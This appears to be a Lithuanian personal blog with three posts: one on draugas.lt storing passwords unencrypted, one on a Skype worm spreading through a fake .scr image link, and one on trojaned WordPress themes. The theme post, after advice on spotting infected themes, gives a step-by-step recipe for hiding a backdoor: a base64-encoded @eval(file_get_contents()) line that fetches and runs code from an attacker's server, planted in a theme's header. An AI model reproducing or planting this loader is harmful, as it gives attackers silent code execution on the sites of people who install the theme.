Draugas.lt saugumo pažeidimai

Ilgai nerašiau, bet… pasiruošimas egzaminams, egzaminai ir vasara + inercija neberašyti. Apie viską vėliau, bet jau greitai.

Iš tiesų noriu parašyti apie vieną LABAI GRUBŲ saugumo pažeidimą draugas.lt puslapyje. Anksčiau jį gyriau lygindmas su one.lt, ir funkcionalumo, patogumo bei kainos aspektais jis tikrai lenkia vuonę. Bet šitas atradimas rodo, kad jie dėjo ant vartotojų ir nesirūpina jų saugumu. Tad kas gi čia tokio nutiko? Štai kokį laišką iš jų gavau:

Draugas2

Laiške prie visų kitų gėrybių buvo mano slaptažodis. Tiesiog užrašytas. Šiaip visos sistemos (net mano pačio programuotos) slaptažodį užkoduoja registracijos metu (prieš tai išsiunčia vienintelį laišką su dar neužkoduotu slaptažodiu) ir vėliau jo neįmanoma atkoduoti. Vartotojo prisijungimo metu jo įvestas slaptažodis užkoduojamas tuo pačiu metodu ir jei registracijos ir bei įvestojo slaptažodžio užkodavimo rezultatai sutampa, vadinasi, slaptažodis įvestas teisingai.

Tuo tarpu draugas.lt man atsiųsdamas tokį laišką aiškiai parodė, kad jie slaptažodžių nekoduoja. Tai yra GRUBUS saugumo pažeidimas. Štai kodėl:

  1. Draugas.lt administratoriai gali ramiai nueiti į duomenų bazę, pasiknaisioti po neužkoduotus vartotojų slaptažodžius, tuomet pabandyti, ar jie veikia. Dauguma žmonių visur naudoja tuo pačius slaptažodžius (aš pats naudoju vos kokius 5 skirtingus), taigi jie gali prisijungti prie daaaugybės elektroninio pašto dėžučių. Not fun at all!
  2. Jeigu kokiam nors hakeriui pavyktų įsilaužti į duomenų bazę, jam nereikėtų vargti dienas ar mėnesius siekiant iškoduoti slaptažodius — viskas jam būtų gražiai pateikta ant lėkštutės ir paruošta greitam vartojimui.
  3. Nesinori apie tai galvoti, bet… vartotojų duomenų pardavimai? Oh my.

Gali nebandyti iššifruoti tų sujauktų raidelių, aš jau pasikeičiau slaptažodį ir išsitryniau draugas.lt anketą. LABAI rekomenduoju tau daryti tą patį. Po anketos ištrynimo jie klausia priežasties — būtų puiku, jei į laukelį įrašytum nuorodą į šį straipsnį. Jie turi suprasti, atsiprašyti, užkoduoti slaptažodžius, pakeisti sistemą, o tada saugumo žinovai turėtų patikrinti, ar jie tikrai viską padarė, kaip buvo prašyti.

Kas blogiausia — aš nežinau, ar kai pasikeičiau slaptažodį, jie kur nors neišsisaugojo mano seno, o kai ištryniau anketą, nesu tikras, ar ji tikrai ištrinta. Juk šito nepatikrinsi neįlindęs į duomenų bazę.

Jei turite draugų, kurie užsiregistravę tame puslapyje, persiųskite jiems šitą įrašą.

Žodžiu. Labai, labai negerai, drauge.lt. Beje, šį tinklaraščio įrašą nusiųsiu draugas.lt administracijai, tikiuosi jie galės ką nors pakomentuoti.


Draugas.lt atsakė:

Susipazinom su jusu pastabomis. Deja turime pripazinti, kad jos visiskai
teisingos. Tiesos delei noretume pazymeti, kad per 8 darbo metus nebuvo,
nera ir tikrai nebus atveju, kad administruojantys zmones galetu nutekinti
informacija apie vartotoju slaptazodzius, nes su sia informacija dirba vos
pora laiko patikrintu, visiskai patikimu ir 100% kompanijai lojaliu
darbuotoju. Zinoma, visada islieka teorine isilauzimo i svetaine galimybe,
bet si saugumo klausima sekmingai sprendzia musu hostingo paslaugu tiekejai
(nei vienas is gausybes bandymu isilauzti i svetaine per minetus 8 metus
nebuvo sekmingas).

Neziurint i mano minimus argumentus mes imones viduje butinai svarstysime
jusu issakytas pastabas ir bandysime spresti jusu ivardintas problemas.
Tikimes supratimo, jog tai ne vienos dienos darbas, todel pilnam problemos
sprendimui konkretaus termino ivardinti nenoretume.

Dar karta dekojame uz teisingas pastabas ir labai pasistengsime pateisinti
gera savo imones varda.


WordPress temų hakeriai

Ne vieną kartą teko girdėti, o kartą ir pačiam išvysti, kaip atrodo hakerių nulaužtos WordPress temos. Šio straipsnio tikslas yra išmokyti jus atpažinti tokias pavojingas temas [šablonus, kaip kiti vadina], paaiškinti, kaip jos veikia, ir… šiek tiek pamokyti jus pačius nulaužinėti WordPress temas (aš pats to niekada nedariau ir tikrai (turbūt) nedarysiu, tačiau šis principas visai įdomus, taigi kodėl jo neišmokus? (: )

Kas tai?

Pirma, kas tai, kaip tai veikia ir kaip tai atpažįstama. Būdas, apie kurį kalbu (jų, žinoma, yra ne vienas), veikia taip:

  1. Laužėjas parsisiunčia populiariausias WordPress temas ir jas pakeičia, įterpdamas specialų PHP kodą (kodo pavyzdžiai bus žemiau).
  2. Jis sukuria kokį nors puslapį, kurioje talpina tas temas, neužsimindamas apie jokias modifikacijas. Tie puslapiai dažniausiai vadinasi “Best free WordPress themes” ar kažkas panašaus. Failai talpinami pačiame laužėjo serveryje, o temos autorius apie tokių puslapių egzistavimą dažniausiai nežino.
  3. Laužėjo puslapis greitai tampa populiarus, nes dažnas žmogus Googlyje ieško būtent tokių raktinių žodžių (best free wordpress themes).
  4. Žmonės parsisiunčia infekuotas temas, jas pradeda naudoti savo puslapiuose, laužėjo kodas pakraunamas kiekvieną kartą ir modifikuoja temą parsisiuntusio žmogaus svetainę jam nieko net nežinant (dažniausiai tiesiog įterpia daug nematomų nuorodų taip keldamas savo puslapių reitingą ir neretai žlugdydamas nekaltų žmonių puslapių vertę Google akyse)

Kaip tas kodas atrodo ir kaip jis atpažįstamas?

Dažniausiai kodas atrodo kaip visiška nesąmonė, raidžių košė, ir PHP nesuprantantys eiliniai vartotojai tiesiog bijo ką nors daryti, nes dar ką nors sugadintų… Ta makaliošė atrodo, pavyzdžiui, taip:

1
@eval(@base64_decode('QGV2YWwoQGZpbGVfZ2V0X2NvbnRlbnRzKCJodHRwOi8vbGVrZXZpY2l1cy5sdC9oYWNrLnBocCIpKTs='));

Tai gana sudėtingas kodas, kuriame yra daug PHP kalbai specifinių dalykų, bet prieš gilinantis į konkretų veikimą, labai trumpai, ką šitas kodas iš tiesų padaro: jis iškoduoja šitą raizgalynę, ir paaiškėja, kad po ja slepiasi komanda parsiųsti nurodyto failo turinį ir jį įvykdyti. Tai yra failas laužėjo serveryje, ir bet koks to failo turinys yra įvykdomas nieko nežinančio žmogaus serveryje. Dar gerai, kai tas kodas tik prideda nuorodų… galėtų ištrinti ir visą WordPress sistemą…

Yra keli būdai kaip jį atpažinti ir išvengti visokių bėdų:

  1. Temas siųskis tik iš kūrėjo puslapio. Geriausia, jog tai būtų patikimas ir santykinai žinomas autorius, nes gali atsirasti tokių, kurie kurs naujas temas specialiai dėl piktų kėslų.
  2. Dėl viso pikto permesk akimis temų failus ir pasižiūrėk, ar nėra tokių raidžių raizgalų. Jei yra — jokiu būdu nenaudok tos temos.
  3. Ir trečias būdas — klausyk, ką dūzgia blogosfera, WordPress oficialus ir kiti su šia sistema susiję blogai. Taip apie pavojų būsi įspėtas gana anksti, manau (:

Kaip pačiam paslėpti piktąjį kodą?

Žinau, kad laukei šitos dalies (: Jai reikės šiek tiek žinių, o ypač daug PHP žinių reikės rašant patį savo kenkėjišką kodą (čia jau patarimų neduosiu).

Pirma, mums reikės interneto serverio. Dauguma jį turi. Toliau reikės interneto adreso. Šitą turi visi, kas turi serverį. Jeigu nori būti „profesionalus niekšas”, tuomet adresas turėtų būti kuo trumpesnis. Tarkim, qdrxv.us ar kažkas panašaus. Prasmės jam visai nereikia. Kai viską turi, įkelk savo kenkėjišką kodą į failą su labai trumpu pavadinimu (tarkim, h.p). PHP galūnė faile nebūtina, o pačiame faile neturi būti <?php ir ?> ženklų. Tarkime, tavo blogio failas http://qdrxv.us/h.p atrodo taip:

1
print "labas";

Pirma dalis padaryta. Dabar reikia šią komandą užkoduoti. Paleidę tokią PHP komandą

1
print base64_encode('@eval(@file_get_contents("http://qdrxv.us/h.p"));');

gauname mums labai reikalingą raizgalą. Tada tą raizgalą įstatome į šią vietą:

1
@eval(@base64_decode('QGV2YWwoQGZpbGVfZ2V0X2NvbnRlbnRzKCJodHRwOi8vcWRyeHYudXMvaC5wIikpOw=='));

Šis kodas ir yra tas, kurį reikia paslėpti tarp temos failų. Geriausia dėti kur nors headeryje (: Siūlau pasibandyti, kokios yra tavo galimybės, kas veikia ir kas ne, bet pats principas toks. Laikas maniakiškui juokui: muahahahaha!


Skype virusas

EDIT: Antivirusinė neapsaugojo. Kontaktai gavo žinutes. NIEKO TIK NEATIDARINĖKIT. Ir neparsisiuntinėkit.

Šiandien apie 20:30 pajutau pirmąsias pirmojo tikro Skype viruso Lietuvoje (mano žiniomis) pasekmes.

Viruso veikimo principas, jei buvai pakankamai laimingas ir negavai jo:

Apsėstas viruso kompas visiems savo Skype kontaktams išsiunčia žinutes, kviečiančias nueiti į puslapį http://www.papai.ru/foto_galerija/sandra.jpg. Iš tiesų, vartotojas yra persiunčiamas į puslapį pasidulkinam.com/sandra.scr, tačiau jis to nemato. SCR – ekrano užsklandos failas. Jis gali vykdyti labai įvairias komandas. Ne gana to – jo ikona nustatyta kaip standartinio JPG paveiksliuko. Paleidus tą failą, jis slapta kreipiasi į Internet Explorer, kuris matyt įsibrauna į Skype protokolą ir tavo draugams išsiunčia panašias žinutes. Tau tuo tarpu atidaro tos “Sandros” nuotrauką. Virusas plinta.

Man nuo viruso pavyko apsisaugoti paranojiškos antivirusinės (ZoneAlarm) dėka. Ji pastebėjo, kad failas kreipiasi į naršyklę ir užblokavo priėjimą.

Iš tiesų yra keli būdai apsisaugoti nuo to:

  • Turėk antivirusinę. Būtinai. Niekada negali žinoti…
  • Neparsisiuntinėk failų, jei jų pavadinimas skiriasi nuo to, kur ėjai. Jei ėjai į sandra.jpg, o tau atidaro sandra.src – negerai.

Šiaip ar taip, tai reiškia kelis dalykus:

  1. Hakeriai gavo priėjimą prie Skype protokolo. Tas gerai, kai naudojama taikiai. Bet…
  2. Šis atvejis nebus paskutinis – Tokius virusus sukurti lengva, o žmonės menkai progresuoja.

Sėkmės. Ir saugokis.

P.S. Kažkas vyksta. Nors failas ir negavo priėjimo prie vienos vietos, kažką kitur nuveikė, ir mano Skype staiga tapo nevaldomas. Išjungus jį per procesų sąrašą (Ctrl+Alt+Delete), jis vėl nepasikrovė. Žiūriu, kas bus perkrovus kompą.

P.P.S. Skype veikia. Bet.